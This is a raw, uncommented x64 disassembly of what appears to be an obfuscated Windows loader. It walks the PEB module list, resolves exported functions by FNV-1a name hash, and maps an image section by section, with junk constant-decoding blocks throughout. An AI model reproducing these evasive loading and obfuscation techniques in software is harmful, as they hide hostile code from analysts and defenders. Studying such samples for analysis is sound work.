mov eax, 0x7d27fea5
pushf
not eax
add eax, 0xc745466c
xor eax, 0xf602f8a1
rol eax, 0x14
popf
pushf
not eax
add eax, 0x8109ef0a
xor eax, 0x8a8e340e
rol eax, 0xd8
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x879de82d
pushf
not eax
add eax, 0xb69a7277
xor eax, 0xb71e2f70
rol eax, 0x54
popf
pushf
not eax
add eax, 0xaa5eea1c
xor eax, 0xd3a80ca2
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xcfa13823
xor eax, 0xa8ccc2ea
rol eax, 0xa5
popf
jmp 0x1400c2180
mov dword [rsp + 0xb0], 1
jmp 0x1400c3a51
mov dword [rsp + 0xb0], 0
push rax
pushf
mov eax, 0xbe91a7f7
pushf
not eax
add eax, 0x897feaf1
xor eax, 0xcb075ef5
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xaf12473a
xor eax, 0xac992b2d
rol eax, 0xac
popf
jmp 0x1400c2180
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x36], al
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x1400c3ac3
push rax
pushf
mov eax, 0x35f4ec84
pushf
not eax
add eax, 0x8573902d
xor eax, 0xf3e7d84a
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xf2efb196
xor eax, 0x9e08e69d
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xc0406d71
xor eax, 0xceae3a5d
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xc0804a8e
xor eax, 0xc613105c
rol eax, 0xe2
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xdc1fdaca
pushf
not eax
add eax, 0x835aa27a
xor eax, 0xb0392a51
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb245ae36
xor eax, 0xbcb06559
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc212fa11
xor eax, 0xb99daa8a
rol eax, 0x4c
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x144], eax
mov eax, dword [rsp + 0x40]
jmp 0x1400c3b28
dec eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x144], 0
je 0x1400c3b95
push rax
pushf
mov eax, 0x1b81b7f2
pushf
not eax
add eax, 0xd51bcbc3
xor eax, 0x8622202f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xd142703a
xor eax, 0xb286b964
rol eax, 0x19
popf
pushf
not eax
add eax, 0x9623add0
xor eax, 0xf53ad904
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xe388ce1a
xor eax, 0x9c71509c
rol eax, 0xe0
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x36ae9064
pushf
not eax
add eax, 0xfa1b5752
xor eax, 0xb4111b52
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc226f749
xor eax, 0xbb81e9df
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf81c176c
xor eax, 0xd36ba46d
rol eax, 0x27
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x36c]
mov dword [rsp + 0xb4], eax
movabs rax, 0xcac5a7d0e7b2a561
pushf
not rax
add rax, 0x47757bd6
xor rax, 0x5db933de
rol rax, 0xce
popf
pushf
not rax
add rax, 0x64c50f3f
xor rax, 0x5d5bb785
rol rax, 0x2e
popf
shr rax, 0x20
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x118]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x40]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x1e0], rax
movabs rax, 0x7d4db601ad9dad86
pushf
not rax
add rax, 0x69e46ba4
xor rax, 0x75cc6339
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x674c0cd7
xor rax, 0x7eeb79b0
rol rax, 0x8d
popf
mov ecx, 0xe8d01647
pushf
not ecx
add ecx, 0xe47a2af6
xor ecx, 0xe34828bb
rol ecx, 0x7a
popf
pushf
not ecx
add ecx, 0x934ea8d9
xor ecx, 0xc114e017
rol ecx, 0x38
popf
and rax, rcx
mov dword [rsp + 0x148], eax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x180], rax
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x180]
movzx eax, byte [rax]
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x31], al
movsx eax, byte [rsp + 0x31]
test eax, eax
jne 0x1400c3d8e
push rax
pushf
mov eax, 0x1c4554de
pushf
not eax
add eax, 0xdb1ba366
xor eax, 0xe0c838ea
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xaaed4043
xor eax, 0xd3677992
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x844457fa
xor eax, 0x93e23681
rol eax, 0x12
popf
pushf
not eax
add eax, 0xf1edffab
xor eax, 0xec0c8a57
rol eax, 0x39
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x235c9572
pushf
not eax
add eax, 0xbd9f6886
xor eax, 0x9c10ba78
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd6f08e80
xor eax, 0x8cdbed33
rol eax, 0x28
popf
pushf
not eax
add eax, 0xfcdc4535
xor eax, 0xaefdb761
rol eax, 0xc2
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x14c], eax
jmp 0x1400c3f93
xor eax, eax
test eax, eax
je 0x1400c3e50
push rax
pushf
mov eax, 0x9f1f01a7
pushf
not eax
add eax, 0xb6bc3ad1
xor eax, 0x8dd64998
rol eax, 0x54
popf
pushf
not eax
add eax, 0xfa5d2a57
xor eax, 0xef47859f
rol eax, 0x13
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x5a9dc605
pushf
not eax
add eax, 0x898abfc4
xor eax, 0xc4a7bc34
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xfe828c6e
xor eax, 0x964b3b9e
rol eax, 0x94
popf
pushf
not eax
add eax, 0xf97af31c
xor eax, 0xf098bd69
rol eax, 0xde
popf
jmp 0x1400c2180
movsx eax, byte [rsp + 0x31]
or eax, 0x20
mov dword [rsp + 0x90], eax
jmp 0x1400c3f19
movsx eax, byte [rsp + 0x31]
mov dword [rsp + 0x90], eax
push rax
pushf
mov eax, 0x6b7ace59
pushf
not eax
add eax, 0xa1072f22
xor eax, 0x94e55ae4
rol eax, 3
popf
pushf
not eax
add eax, 0xc298ba3b
xor eax, 0xf74ee8d1
rol eax, 0x23
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x6c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x6c], eax
jmp 0x1400c3d01
mov eax, dword [rsp + 0x148]
cmp dword [rsp + 0x14c], eax
jne 0x1400c3ffc
push rax
pushf
mov eax, 0xc9efc1ab
pushf
not eax
add eax, 0xbd95608f
xor eax, 0xc6cd529d
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd7c5ac99
xor eax, 0xa37fb576
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9fea979e
xor eax, 0xf661714f
rol eax, 0x89
popf
pushf
not eax
add eax, 0xa873ee45
xor eax, 0xad546bf8
rol eax, 0x1e
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xfd24afa5
pushf
not eax
add eax, 0xe3945731
xor eax, 0x9fde48b6
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xdd984139
xor eax, 0xfaf4fa5a
rol eax, 0x17
popf
pushf
not eax
add eax, 0xb128df8f
xor eax, 0x84f6775a
rol eax, 0xf7
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x2b0], rax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x2b0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2b8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x190], rax
jmp 0x1400c4246
jmp 0x1400c3b18
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x188], rax
mov byte [rsp + 0x38], 1
movzx eax, byte [rsp + 0x38]
test eax, eax
jne 0x1400c41c1
push rax
pushf
mov eax, 0xa6f690ae
pushf
not eax
add eax, 0xb92e3845
xor eax, 0x874a6f59
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xa7e5b2b3
xor eax, 0xc3be407f
rol eax, 0x6d
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xec709796
pushf
not eax
add eax, 0x86fd058a
xor eax, 0x8ac56a65
rol eax, 0x30
popf
pushf
not eax
add eax, 0x9a5169f4
xor eax, 0x92b759aa
rol eax, 0x11
popf
jmp 0x1400c2180
mov qword [rsp + 0x190], 0
push rax
pushf
mov eax, 0x5c11a53c
pushf
not eax
add eax, 0xce39fd45
xor eax, 0xd9d1b382
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xccf69833
xor eax, 0x957c2506
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x8462b33b
xor eax, 0x8b81516a
rol eax, 0x82
popf
jmp 0x1400c2180
mov ecx, 0x6e3f6784
pushf
not ecx
add ecx, 0xf993fa82
xor ecx, 0xe29beeff
rol ecx, 0x6f
popf
pushf
not ecx
add ecx, 0xe402cabd
xor ecx, 0x860195da
rol ecx, 0x65
popf
jmp 0x1400c4276
call qword [rsp + 0x190]
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x50]
mov r8d, 0xd459333c
pushf
not r8d
add r8d, 0xe7777d8c
xor r8d, 0x8ff80cb3
rol r8d, 0xe7
popf
pushf
not r8d
add r8d, 0xeb80cc32
xor r8d, 0xde438fe2
rol r8d, 0xde
popf
pushf
not r8d
add r8d, 0xec2c748f
xor r8d, 0xf702f58c
rol r8d, 0x39
popf
pushf
not r8d
add r8d, 0xe21e4779
xor r8d, 0xdd22fb15
rol r8d, 0xce
popf
mov edx, eax
mov rcx, qword [rsp + 0x58]
call fcn.140161ab2
mov qword [rsp + 0xd8], 0
jmp 0x1400c439b
mov rax, qword [rsp + 0xd8]
add rax, 0x1000
mov qword [rsp + 0xd8], rax
push rax
pushf
mov eax, 0x599a7aa8
pushf
not eax
add eax, 0xda4d0678
xor eax, 0xe48d3ce3
rol eax, 0x26
popf
pushf
not eax
add eax, 0xa823fe3e
xor eax, 0xabb18cfb
rol eax, 0x96
popf
pushf
not eax
add eax, 0xc76e99f5
xor eax, 0xcfa1b810
rol eax, 0xe1
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xd8], rax
jae 0x1400c4406
push rax
pushf
mov eax, 0xa920c3f3
pushf
not eax
add eax, 0x8610316c
xor eax, 0xabdf599b
rol eax, 0x99
popf
pushf
not eax
add eax, 0xd5c50e2c
xor eax, 0xda13032d
rol eax, 0x14
popf
pushf
not eax
add eax, 0xd9c9fd59
xor eax, 0xbfd3303d
rol eax, 0x45
popf
pushf
not eax
add eax, 0xa3a02a4e
xor eax, 0xa7b011e2
rol eax, 0x85
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xd9581629
pushf
not eax
add eax, 0xeae39a55
xor eax, 0xa432828f
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xea5c3ce6
xor eax, 0xff268ba6
rol eax, 0x97
popf
pushf
not eax
add eax, 0x9f284db7
xor eax, 0x8ff0afaa
rol eax, 0x91
popf
jmp 0x1400c2180
mov ecx, 0x7f7aea35
pushf
not ecx
add ecx, 0xf5da3afc
xor ecx, 0xbdc000a7
rol ecx, 0xb0
popf
pushf
not ecx
add ecx, 0xe7b9b3cb
xor ecx, 0x975fe82b
rol ecx, 0x39
popf
jmp 0x1400c447c
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x1e8], rax
mov rdi, qword [rsp + 0x1e8]
xor eax, eax
mov ecx, 0x595500cc
pushf
not ecx
add ecx, 0xed6a6498
xor ecx, 0xb9686a92
rol ecx, 0xba
popf
pushf
not ecx
add ecx, 0xe6e80712
xor ecx, 0x833212ec
rol ecx, 0x14
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x58]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0x675a5fbb
pushf
not r8d
add r8d, 0x87522f54
xor r8d, 0x8f3ef3bc
rol r8d, 0x2b
popf
pushf
not r8d
add r8d, 0xf05d12f8
xor r8d, 0xc0ecde57
rol r8d, 0xb0
popf
pushf
not r8d
add r8d, 0xec7f65bc
xor r8d, 0xcd5ff7ab
rol r8d, 0xf1
popf
pushf
not r8d
add r8d, 0xfa43401c
xor r8d, 0xe9255e0d
rol r8d, 0x7c
popf
mov rdx, qword [rsp + 0x1e8]
mov rcx, rax
call fcn.140081885
jmp 0x1400c433f
mov r8d, 0xdc56f96a
pushf
not r8d
add r8d, 0xa9855713
xor r8d, 0xbd1ac13f
rol r8d, 0x37
popf
pushf
not r8d
add r8d, 0xce56cc65
xor r8d, 0x9b66dec9
rol r8d, 0xbe
popf
pushf
not r8d
add r8d, 0xeb73fe89
xor r8d, 0xb86e1d93
rol r8d, 0x31
popf
pushf
not r8d
add r8d, 0xd657036c
xor r8d, 0xd9d1ca34
rol r8d, 0xf4
popf
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call fcn.140081885
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x1a8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x1a0], rax
push rax
pushf
mov eax, 0x43591f5f
pushf
not eax
add eax, 0xd4cd7def
xor eax, 0xe28554a1
rol eax, 0x87
popf
pushf
not eax
add eax, 0xa1fe9057
xor eax, 0xa972391d
rol eax, 0x52
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x1a0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xe0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2f0], rax
mov eax, 0x88187fce
pushf
not eax
add eax, 0xed4e0fd1
xor eax, 0x8b5e1d9e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xedba1679
xor eax, 0xb2958f10
rol eax, 0x52
popf
pushf
not eax
add eax, 0xed86b6fe
xor eax, 0xa35805e2
rol eax, 0x6f
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2f0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x108], rax
mov eax, dword [rsp + 0x1f4]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x100]
cmp qword [rsp + 0x108], rax
je 0x1400c47f6
push rax
pushf
mov eax, 0x942e3d4c
pushf
not eax
add eax, 0xf68c7bc1
xor eax, 0xf2756bde
rol eax, 0x29
popf
pushf
not eax
add eax, 0x98e85ac6
xor eax, 0xc9ce46d4
rol eax, 0x36
popf
pushf
not eax
add eax, 0xc8b35de3
xor eax, 0xeed4dc28
rol eax, 0x74
popf
pushf
not eax
add eax, 0xf73e410f
xor eax, 0xa39e18c8
rol eax, 0xe2
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x4970a882
pushf
not eax
add eax, 0xcc40abbd
xor eax, 0x89a47b15
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8f23f595
xor eax, 0xa66d977e
rol eax, 0xcf
popf
jmp 0x1400c2180
mov dword [rsp + 0x94], 1
jmp 0x1400c48d0
mov dword [rsp + 0x94], 0
push rax
pushf
mov eax, 0xaa6e0bad
pushf
not eax
add eax, 0xaef059fc
xor eax, 0xf48ed56f
rol eax, 0x93
popf
pushf
not eax
add eax, 0x99380415
xor eax, 0xc0e883b0
rol eax, 0xe
popf
jmp 0x1400c2180
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x39]
test eax, eax
je 0x1400c491c
push rax
pushf
mov eax, 0x13066ad6
pushf
not eax
add eax, 0xdf8ba3ca
xor eax, 0xa1803fa6
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf6d4f706
xor eax, 0xe82a047b
rol eax, 0x19
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x43b98053
pushf
not eax
add eax, 0xfcce908e
xor eax, 0xd7a02893
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xc864e57f
xor eax, 0x9a572bf6
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9e964047
xor eax, 0x913e172d
rol eax, 0xd8
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x44]
jmp 0x1400c4981
dec eax
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x150], 0
je 0x1400c49db
push rax
pushf
mov eax, 0x29cc7fdf
pushf
not eax
add eax, 0xd6c439f9
xor eax, 0xa58dc946
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xa4c464a5
xor eax, 0xdf2729f6
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xc0878183
xor eax, 0xa5ef9343
rol eax, 0x2b
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xf971f873
pushf
not eax
add eax, 0xe8db9182
xor eax, 0x8f165bd1
rol eax, 0x83
popf
pushf
not eax
add eax, 0xbeed4895
xor eax, 0x8ecd6dbe
rol eax, 0xb
popf
pushf
not eax
add eax, 0xbe19d843
xor eax, 0xf8c8035c
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x8838c9af
xor eax, 0xfb90e873
rol eax, 0xe7
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x368]
mov dword [rsp + 0x98], eax
movabs rax, 0x93bce0c16688351
pushf
not rax
add rax, 0x7b721a83
xor rax, 0x72f4884b
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x6297ca00
xor rax, 0x792110e6
rol rax, 0xd3
popf
pushf
not rax
add rax, 0x45aa279f
xor rax, 0x600a5a7b
rol rax, 0x4b
popf
shr rax, 0x20
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x44]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x1f8], rax
movabs rax, 0xd5a4d59a934365f3
pushf
not rax
add rax, 0x6cd08bd8
xor rax, 0x795f19a0
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x40359360
xor rax, 0x59cf8968
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x6c9ef1c6
xor rax, 0x70276625
rol rax, 0x72
popf
pushf
not rax
add rax, 0x7631d4a6
xor rax, 0x44205633
rol rax, 0xa2
popf
mov ecx, 0xe8c15558
pushf
not ecx
add ecx, 0xb06abcc1
xor ecx, 0xbf6ffc45
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0xb185410f
xor ecx, 0xadf29e3b
rol ecx, 0xc5
popf
pushf
not ecx
add ecx, 0xca3620f9
xor ecx, 0xc4cc42f4
rol ecx, 0xf3
popf
pushf
not ecx
add ecx, 0xe4dfcd34
xor ecx, 0xbefc8d49
rol ecx, 0x93
popf
and rax, rcx
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x198]
movzx eax, byte [rax]
mov byte [rsp + 0x3a], al
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x32]
test eax, eax
jne 0x1400c4c56
push rax
pushf
mov eax, 0x91b35ec9
pushf
not eax
add eax, 0xdc102974
xor eax, 0xedeff4de
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xb018f129
xor eax, 0xda1114c3
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf34d10e5
xor eax, 0xe46e3829
rol eax, 0x50
popf
pushf
not eax
add eax, 0x9ad73c65
xor eax, 0xd1fcb3d0
rol eax, 0xb0
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xf232e1a2
pushf
not eax
add eax, 0xed48e253
xor eax, 0xde035c5d
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xac2e5321
xor eax, 0xd1e4280f
rol eax, 0x9f
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x158], eax
jmp 0x1400c4eaa
xor eax, eax
test eax, eax
je 0x1400c4d2b
push rax
pushf
mov eax, 0x64514156
pushf
not eax
add eax, 0xff96153d
xor eax, 0xdfad2458
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xab0d9994
xor eax, 0xbd5fbff5
rol eax, 0x88
popf
pushf
not eax
add eax, 0xaf99a0d2
xor eax, 0x8f989cdf
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xa6158051
xor eax, 0xaca46433
rol eax, 0x3d
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x6b4de4ca
pushf
not eax
add eax, 0xb461377c
xor eax, 0x82b1201f
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xbcfb23ea
xor eax, 0x998d42d0
rol eax, 0x24
popf
pushf
not eax
add eax, 0x95b3ccc3
xor eax, 0x9d0168e1
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xf870080e
xor eax, 0xa77a35ab
rol eax, 0xed
popf
jmp 0x1400c2180
movsx eax, byte [rsp + 0x32]
or eax, 0x20
mov dword [rsp + 0x9c], eax
jmp 0x1400c4e43
movsx eax, byte [rsp + 0x32]
mov dword [rsp + 0x9c], eax
push rax
pushf
mov eax, 0x647a53e2
pushf
not eax
add eax, 0x979b7516
xor eax, 0xda43e831
rol eax, 0x88
popf
pushf
not eax
add eax, 0x8eeaec71
xor eax, 0xab658264
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x85615b21
xor eax, 0xe5f5d66f
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc2c2d543
xor eax, 0xe3bbe6b2
rol eax, 0xd0
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x9c]
mov ecx, dword [rsp + 0x70]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x70], eax
jmp 0x1400c4bc9
mov eax, dword [rsp + 0x154]
cmp dword [rsp + 0x158], eax
jne 0x1400c4f00
push rax
pushf
mov eax, 0x7670be
pushf
not eax
add eax, 0xda983480
xor eax, 0x9e92fbf4
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xed0da5ac
xor eax, 0xd8ff3b81
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xed390a95
xor eax, 0xed8d95b5
rol eax, 0x99
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xb4d15ab6
pushf
not eax
add eax, 0xd6ab407f
xor eax, 0xaf1c6555
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xbfb1f767
xor eax, 0xfee9783a
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xe6055625
xor eax, 0xf2e37f31
rol eax, 0x90
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2f8], rax
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x2f8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x300]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x1a8], rax
jmp 0x1400c515d
jmp 0x1400c4971
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov rax, qword [rax]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x3b], 1
movzx eax, byte [rsp + 0x3b]
test eax, eax
jne 0x1400c50eb
push rax
pushf
mov eax, 0x78f4b0c4
pushf
not eax
add eax, 0xc85b1e71
xor eax, 0xadf99945
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xa1c0711d
xor eax, 0x9544357f
rol eax, 0x57
popf
pushf
not eax
add eax, 0xa1609b71
xor eax, 0xb5ce028f
rol eax, 0x1c
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x6b28f1fd
pushf
not eax
add eax, 0xe0caf13a
xor eax, 0xa43d4817
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xb872d652
xor eax, 0x9ea5b394
rol eax, 0xf4
popf
jmp 0x1400c2180
mov qword [rsp + 0x1a8], 0
push rax
pushf
mov eax, 0x28ebf403
pushf
not eax
add eax, 0xbb319114
xor eax, 0xcdedca50
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xded62551
xor eax, 0xdbd8e2ec
rol eax, 0xdf
popf
jmp 0x1400c2180
mov ecx, 0x941775d9
pushf
not ecx
add ecx, 0x89ae8baa
xor ecx, 0xeab0ae75
rol ecx, 0x1a
popf
pushf
not ecx
add ecx, 0xe4ea2acf
xor ecx, 0xf8bf8862
rol ecx, 0xe0
popf
pushf
not ecx
add ecx, 0x8872aaea
xor ecx, 0xdfa15367
rol ecx, 0x78
popf
jmp 0x1400c51a2
call qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x74], 0
jmp 0x1400c5286
mov eax, dword [rsp + 0x74]
jmp 0x1400c5219
inc eax
mov dword [rsp + 0x74], eax
mov rax, qword [rsp + 0x48]
add rax, 0x28
mov qword [rsp + 0x48], rax
push rax
pushf
mov eax, 0xaaa0270c
pushf
not eax
add eax, 0xdc54d690
xor eax, 0x8ca3de6a
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xb57e3a50
xor eax, 0xca90949d
rol eax, 0x93
popf
pushf
not eax
add eax, 0xbcd294ce
xor eax, 0xdfaf7045
rol eax, 0x22
popf
pushf
not eax
add eax, 0xbe35e90d
xor eax, 0xbf5bc72b
rol eax, 0x41
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x74], eax
je 0x1400c52f2
push rax
pushf
mov eax, 0xff73791
pushf
not eax
add eax, 0xaf33685f
xor eax, 0xdd8a166a
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa51b530f
xor eax, 0x945bec78
rol eax, 0xad
popf
pushf
not eax
add eax, 0xecd4e750
xor eax, 0xf2c61942
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xf970f660
xor eax, 0xb10836a0
rol eax, 0x80
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x8fff1369
pushf
not eax
add eax, 0xb4bdacc5
xor eax, 0x9cc35d4b
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x9e28baa9
xor eax, 0xe067af21
rol eax, 0xc9
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x10], 0
je 0x1400c538d
push rax
pushf
mov eax, 0xd6b0b366
pushf
not eax
add eax, 0xb68bd53c
xor eax, 0xe28fae83
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbb1c951f
xor eax, 0xaebe7dbc
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xb369799b
xor eax, 0xe1eb1c94
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xee2bef9c
xor eax, 0xa5f216e4
rol eax, 0x7f
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x1be991fb
pushf
not eax
